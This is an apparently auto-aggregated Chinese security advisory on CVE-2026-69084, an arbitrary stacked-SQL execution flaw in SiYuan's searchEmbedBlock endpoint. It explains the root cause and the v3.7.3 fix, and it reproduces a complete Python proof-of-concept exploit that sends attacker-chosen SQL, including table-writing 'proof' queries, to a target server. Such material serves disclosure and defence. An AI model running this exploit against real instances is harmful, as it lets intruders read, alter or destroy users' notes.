🎯 CVE-2026-69084 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
CVE-2026-69084 深度技术分析
摘要:CVE-2026-69084 是思源笔记(SiYuan)在 /api/search/searchEmbedBlock 接口中存在的严重 SQL 注入漏洞,CVSS 评分高达 10.0,影响 v3.7.2 及更早版本。该端点直接将客户端提交的完整 SQL 语句拼接并执行于主读写数据库 siyuan.db,且仅通过 CheckAuth 校验,导致持有发布角色读取令牌(RoleReader)的用户,甚至当 Publish.Auth.Enable 关闭时的匿名用户,都能执行任意的堆叠 SQL,实现跨明文笔记本的读写与破坏。官方在 v3.7.3 中通过增加单语句与只读校验完成了修复。
📌 漏洞概述
CVE-2026-69084 是思源笔记(SiYuan)知识库软件中的一道严重安全缺陷,由 GitHub Advisory GHSA-vh22-h7hf-www7 收录,对应 NVD 评分为 CVSS 10.0(Critical),PoC 仓库标注中亦有 9.9 的评级,可见其危害性极高。受影响版本为 SiYuan <= v3.7.2,官方在 v3.7.3 中完成修复。
漏洞类型上,这属于 CWE-89(SQL注入),但并非传统意义上“参数未转义拼接到既有 SQL 查询”的注入,而是 `/api/search/searchEmbedBlock` 端点由设计上接受客户端的完整 SQL 语句(`stmt` 字段),未做任何过滤处理,直接交给数据库执行,同时缺乏单语句限制、只读限制和管理员权限校验,其本质是一个被暴露的任意 SQL 执行通道。
🔬 漏洞根因分析
从代码调用链来看,漏洞的起源非常直接:
- 在
kernel/api/search.go中,`searchEmbedBlock` 处理器获取请求参数中的 `stmt` 字符串,并将其作为参数传给 `model.SearchEmbedBlock(stmt, …)`,期间没有任何白名单、黑名单、语句类型检查或参数化。 - `model.SearchEmbedBlock` 进一步调用 `SearchEmbedBlockInBox`,最终将用户提供的 `stmt` 原样送入 `sql.SelectB` 封装函数。
- 底层使用的是 SQLite 驱动,该驱动默认允许执行分号分隔的堆叠语句(stacked queries),因此 `SELECT` 之外还可执行 `CREATE`、`INSERT`、`UPDATE`、`DELETE`、`DROP` 等任意操作。
- 端点的访问控制仅依赖 `CheckAuth`,而其可达性覆盖了发布模式下持有 RoleReader 令牌(publish token)的用户,以及在未启用 `Publish.Auth.Enable` 情况下的完全匿名访问。
该漏洞最典型的触发方式如公开 PoC 所演示:往 `stmt` 中提交 SELECT 1; CREATE TABLE pwn_test2 (id INT),服务器就会在 `siyuan.db` 中创建新表;继续提交 INSERT INTO pwn_test2 VALUES (31337),则能在数据库中写入行。经实际验证,在 Docker 环境启动的思源笔记 v3.7.2 上,这两条请求均能成功执行,而修复后的 v3.7.3 会分别返回 SQL statement is not single 与 not a read-only query,可见补丁正是针对单语句和只读条件做了强制校验。
值得强调的是,该漏洞并非“注入到固定查询中”,而是端点本身提供了执行任意 SQL 的能力;真正的问题出在它缺少调用者身份约束与执行能力限制,导致任何能触达该接口的人都获得了等同于数据库写用户的权利。
💥 影响与危害
成功利用后,攻击者能够在思源笔记的主数据库 `siyuan.db` 上执行任意 SQL,这一数据库承载着所有已打开的、未加密(明文)笔记本的内容,具体危害包括:
- 数据机密性丧失:可通过 `SELECT` 读取所有明文笔记、文档、块内容及属性,包括发布模式下的内部资料,乃至其他用户的笔记内容。
- 数据完整性破坏:可通过 `UPDATE`、`DELETE`、`INSERT`、`DROP` 任意篡改、删除或伪造笔记数据,可能导致知识库内容损毁或写入恶意内容。
- 潜在代码执行/横向扩散:SQLite 支持通过扩展、`ATTACH DATABASE` 等方式进行文件读取/写入,在特定环境下可进一步探索主机文件系统;即使不直接获得系统 shell,攻击者也已掌控了应用的核心数据存储。
- 认证绕过影响放大:由于发布模式为默认业务功能,开启发布但关闭“需要认证”的实例将形成完全未授权访问,危害巨大;即便开启了认证,持有只读 RoleReader 发布令牌的外部协作者亦可提升为任意数据操作能力。加密笔记箱不在影响范围内,因为其数据库采用独立加密文件,漏洞无法读取对应明文;但所有明文/未加密笔记均受牵连。
综合而言,这是一个从任意 SQL 执行到全量明文笔记数据泄露、篡改甚至删除的一键利用型漏洞,也是思源笔记发布历史上极为严重的缺陷之一。
🛡️ 修复与缓解
- 官方补丁:思源笔记已在 v3.7.3 中修复该问题。修复方式是在 `searchEmbedBlock` 相关查询入口增加
sql.CheckSingleStatement(禁止堆叠语句)与sql.CheckReadonlyStatementInBox(校验仅允许只读 SQL,并限制作用域于当前笔记盒)的检查。所有用户应尽快升级至 v3.7.3 及以上版本。 - 临时缓解措施:对于无法立即升级的部署,建议采取以下加固手段:
- 关闭发布功能(Publish)或确保在发布设置中开启
Publish.Auth.Enable,并要求所有客户端使用强口令令牌,避免匿名访问。 - 不要将思源笔记的监听端口(默认 6806)暴露在公网或不可信网络中;如需远程使用,建议通过 VPN、反向代理配合认证层访问,并配置严格的网络访问控制。
- 对已运行实例检查日志库访问记录,若有可疑的 `stmt` 参数请求,可判断是否遭到了利用。
- 若怀疑已被入侵,及时备份数据、审查并重置发布令牌,并在升级补丁后重新校验所有笔记内容的完整性。
- 关闭发布功能(Publish)或确保在发布设置中开启
- 防护建议:对于自部署笔记类应用,务必遵循最小权限原则:一切来自客户端且包含完整 SQL 语义的输入都应视为不可信;即便业务需要类似“自定义搜索”的高级功能,也应通过独立的只读连接、参数绑定、单语句限制以及严格的权限白名单来约束执行边界。
此次漏洞为所有基于 Web 的笔记软件敲响了警钟:当数据存储与前端交互被紧密耦合时,一旦端点过于“直白”地传递操作指令,原本最基础的安全防线(认证、授权、类型限制)就成为了决定数据能否被任意操纵的唯一屏障。强烈建议思源笔记用户立即跟进官方更新,并重新审查自己的发布暴露面。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言py来源Boreas37/CVE-2026-69084-PoC针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明
#!/usr/bin/env python3
"""
CVE-2026-69084 — SiYuan searchEmbedBlock Arbitrary SQL Execution (CVSS 9.9)
CVE-2026-69085 — SiYuan searchDocs SQL Injection (CVSS 9.9)
Affected: SiYuan <= v3.7.2 (fixed in v3.7.3)
CWE-89 · Published 2026-08-03 · no public PoC at publication time
CVE-2026-69084 (/api/search/searchEmbedBlock):
The endpoint passes a client-supplied SQL statement (stmt) verbatim to the
main read-write siyuan.db handle with no single-statement or read-only
restriction. The underlying SQLite driver executes stacked
(semicolon-separated) statements,
so an attacker can CREATE/INSERT/UPDATE/
DELETE/DROP on the database. The endpoint is gated only by CheckAuth: it
is reachable with a publish RoleReader token,
or anonymously when publish
mode is enabled with Publish.Auth.Enable=false. Fixed in v3.7.3 with
sql.CheckSingleStatement + sql.CheckReadonlyStatementInBox.
CVE-2026-69085 (/api/filetree/searchDocs):
The caller-supplied keyword parameter is concatenated directly into SQL
with no escaping or parameter binding.
VERIFIED against real SiYuan v3.7.2 in Docker (b3log/siyuan:v3.7.2):
stacked "SELECT 1;
CREATE TABLE pwn_test2 (id INT)" created the table in
siyuan.db;"INSERT INTO pwn_test2 VALUES (31337)" wrote the row (verified
by reading siyuan.db directly). On patched v3.7.3 the same requests are
rejected with "SQL statement is not single" / "not a read-only query".
Usage:
python3 CVE-2026-69084.py <host>[--auth CODE] <sql>
python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py <host>--proof # CREATE TABLE pwn_69084 + INSERT (RCE/DB-write proof)
python3 CVE-2026-69084.py <host>
--check # SELECT sqlite_version() only — non-destructive
"""
import argparse
import http.cookiejar
import json
import sys
import urllib.request
_OPENER = None
def get_opener() ->
urllib.request.OpenerDirector:
"""Opener with cookie jar (session auth)."""
global _OPENER
if _OPENER is None:
cj = http.cookiejar.CookieJar()
_OPENER = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
return _OPENER
def api_request(host: str,path: str,body: dict,auth: str |None) ->tuple[int,
dict]:
url = host.rstrip("/") + path
data = json.dumps(body).encode()
req = urllib.request.Request(url,data=data,method="POST")
req.add_header("Content-Type","application/json")
# SiYuan session auth is cookie-based — use the header only for special
# cases that need it before loginAuth;the cookie is generally enough.
try:
with get_opener().open(req,
timeout=15) as r:
return r.status,json.loads(r.read().decode())
except urllib.error.HTTPError as e:
try:
return e.code,json.loads(e.read().decode())
except Exception:
return e.code,{"code": -1,"msg": f"HTTP {e.code}"}except Exception as e:
return 0,{"code": -1,"msg": str(e)}def login(host: str,auth: str |None) ->
bool:
"""SiYuan session login — loginAuth endpoint."""
if not auth:
return True # publish mode / no auth
print(f"[*] Session login (code={auth!r})...")
body = {"authCode": auth}status,res = api_request(host,"/api/system/loginAuth",body,None)
print(f"[*] loginAuth → code={res.get('code')}
msg={res.get('msg','')!r}")
return res.get("code") == 0
def exploit_sql(host: str,sql: str,auth: str |None,embed_block_id: str = "20210808180117-6v0mkxr") ->bool:
"""CVE-2026-69084: execute arbitrary SQL via searchEmbedBlock."""
print(f"[*] SQL: {sql}")
body = {"embedBlockID": embed_block_id,"stmt": sql,"excludeIDs": [],"headingMode": 0,"breadcrumb": False,}status,
res = api_request(host,"/api/search/searchEmbedBlock",body,auth)
code = res.get("code")
msg = res.get("msg","")
print(f"[*] HTTP {status}|code={code}|msg={msg!r}")
if code == 0:
blocks = res.get("data",{}).get("blocks") if isinstance(res.get("data"),
dict) else None
print(f"[+] SQL accepted (blocks: {len(blocks) if blocks else 0})")
# show SELECT results
if blocks:
for b in blocks[:3]:
blk = b.get("block",{})
print(f" - {blk.get('id')}|{blk.get('hPath')}|{blk.get('content',
'')[:60]}")
return True
print("[-] SQL rejected (target may be patched: 'not single' / 'not read-only')")
return False
def check(host: str,auth: str |None) ->bool:
"""Non-destructive probe: sqlite_version() SELECT."""
print("[*] Vulnerability check (sqlite_version):")
return exploit_sql(host,"SELECT sqlite_version() AS v",auth)
def proof(host: str,auth: str |
None) ->bool:
"""DB-write proof: CREATE TABLE + INSERT (side-effect)."""
print("[*] Proof: CREATE TABLE + INSERT")
ok1 = exploit_sql(host,"CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)",auth)
ok2 = exploit_sql(host,"INSERT INTO pwn_69084 VALUES (31337)",
auth)
if ok1 and ok2:
print("\n[+] DB-WRITE PROOF COMPLETE — pwn_69084 table + 31337 row in siyuan.db")
print(" Verify: sqlite3 siyuan.db 'SELECT * FROM pwn_69084;'")
return True
return False
def main():
ap = argparse.ArgumentParser(description="SiYuan 69084/69085 PoC")
ap.add_argument("host",help="http://host:port")
ap.add_argument("sql",nargs="?",
help="SQL to execute (69084)")
ap.add_argument("--auth",help="Access auth code")
ap.add_argument("--check",action="store_true",help="Non-destructive probe")
ap.add_argument("--proof",action="store_true",help="DB-write proof")
ap.add_argument("--searchdocs",metavar="KEYWORD",help="69085 searchDocs SQLi test")
args = ap.parse_args()
if not login(args.host,
args.auth):
print("[-] Login failed")
sys.exit(1)
ok = False
if args.check:
ok = check(args.host,args.auth)
elif args.proof:
ok = proof(args.host,args.auth)
elif args.searchdocs:
body = {"keyword": args.searchdocs}status,res = api_request(args.host,"/api/filetree/searchDocs",body,
args.auth)
print(f"[*] searchDocs keyword={args.searchdocs!r}→ code={res.get('code')}msg={res.get('msg','')!r}")
ok = res.get("code") == 0
elif args.sql:
ok = exploit_sql(args.host,args.sql,args.auth)
else:
ap.print_help()
sys.exit(1)
sys.exit(0 if ok else 1)
if __name__ == "__main__":
main()⚔️ EXP 利用代码
截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。
🕵️ 检测指纹
当前规则库未收录针对该 CVE 的专用检测规则。建议:
- 根据漏洞根因编写 Nuclei 检测模板
- 在 WAF/IDS 中配置针对漏洞特征的规则
- 关注漏洞指纹库更新
🤖 本文由漏洞情报系统自动聚合生成 · 2026-09-04 05:07 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库